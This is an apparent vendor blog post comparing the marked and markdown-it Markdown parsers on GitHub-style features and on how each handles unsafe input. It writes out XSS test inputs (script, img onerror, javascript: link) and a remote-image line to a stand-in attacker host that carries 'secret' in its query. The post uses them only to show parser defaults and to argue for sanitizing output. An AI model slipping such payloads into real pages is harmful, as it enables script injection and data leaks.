TexToolsAI

marked vs markdown-it: Differences, Safety and GFM Support

By VeloForge Labs · · 4 min read

Quick answer: Choose marked for the least code and GitHub-style output: tables, task lists and autolinks work out of the box. Choose markdown-it for strict CommonMark behavior and plugins. Their safety defaults differ: markdown-it escapes raw HTML, marked passes it through. Sanitize the HTML either way.

TL;DR: Both turn Markdown into an HTML string, and both are fine parsers. The surprise is the defaults. We ran the same inputs through marked 18.3.0 and markdown-it 15.0.3. marked let a <script> tag and a javascript: link through. markdown-it escaped the tag and refused the link. That is a head start, not a replacement for a sanitizer.

If you want the three-way view with remark, read marked vs markdown-it vs remark. This page is the focused two-library comparison, with results from code we ran.

How are marked and markdown-it different?

Both libraries take a Markdown string and return HTML.

  • marked is built to be simple. You call one function. GitHub-Flavored Markdown (GFM) is on by default, so tables, strikethrough, task lists and autolinks work without options.
  • markdown-it is built around CommonMark and a plugin system. The core is small and strict. Extras such as task lists, footnotes or heading anchors come from plugins or options.

Here is the minimum code for each:

import { marked } from "marked";
import MarkdownIt from "markdown-it";

const md = "# Hello **world**";

const a = await marked.parse(md);        // marked
const b = new MarkdownIt().render(md);   // markdown-it

What happens with dangerous input?

We ran four inputs through each parser with default settings. No sanitizer was involved. Versions: marked 18.3.0 and markdown-it 15.0.3.

Input marked (default) markdown-it (default)
hi <script>alert(1)</script> <script> kept, will run tag escaped to visible text
<img src=x onerror=alert(1)> kept as a live tag escaped to visible text
[click](javascript:alert(1)) <a href="javascript:alert(1)"> not a link, shown as plain text
<form action=...><input></form> kept as a live form escaped to visible text

markdown-it's default setting html: false turns raw HTML into text. It also checks link addresses and rejects javascript: and data: links. marked does neither, and its documentation tells you to sanitize its output.

If you switch markdown-it to html: true, raw HTML passes through, and the <script> and <img onerror> rows then behave like marked. We saw that in the same run. The javascript: link was still refused in both modes.

// Raw HTML allowed: now you must sanitize
const unsafe = new MarkdownIt({ html: true });

One more result matters. A remote image such as ![t](https://evil.example/p.png?q=secret) became a live <img> tag in both parsers. A sanitizer with a strict allow-list, or an image policy, handles that. See how to render LLM Markdown output safely for why it matters.

Which one supports GitHub-style Markdown?

We parsed one sample containing a table, a task list, strikethrough and a bare URL.

Feature marked (default) markdown-it (default)
Table <table> <table>
Task list - [x] checkbox inputs plain text [x] done
Strikethrough ~~x~~ <del> <s>
Bare URL linked plain text unless linkify: true

So marked is closer to what people expect from GitHub out of the box. markdown-it can match it with linkify: true and a task-list plugin. Note that marked emits <input> checkboxes for task lists, so a strict sanitizer allow-list must either allow them or strip them on purpose.

Which should you pick?

  • You want GitHub-style output with the least setup: marked.
  • You want strict CommonMark and a large plugin catalog: markdown-it.
  • You render text from untrusted users or an AI model: either one, plus an allow-list sanitizer. Do not rely on a parser option alone.

For the sanitizer step, see sanitize-html vs DOMPurify and the Markdown XSS test payloads.

Frequently asked questions

Is markdown-it safer than marked?

By default, yes: it escapes raw HTML and refuses javascript: links. But a setting such as html: true removes that protection, and neither parser stops remote images from loading. Treat the parser as the first layer and a sanitizer as the second.

Does marked sanitize HTML?

No. Older versions had a sanitize option, which was removed. Run its output through a sanitizer such as sanitize-html or DOMPurify.

Is one of them faster?

We did not benchmark speed, so we make no claim. Measure with your own documents if it matters for your app.

Skip the setup

TexToolsAI runs marked and sanitize-html behind one POST /api/convert request, so every service gets the same safe output. The docs show examples in cURL, Node.js, Python and Go, and the playground is free to try.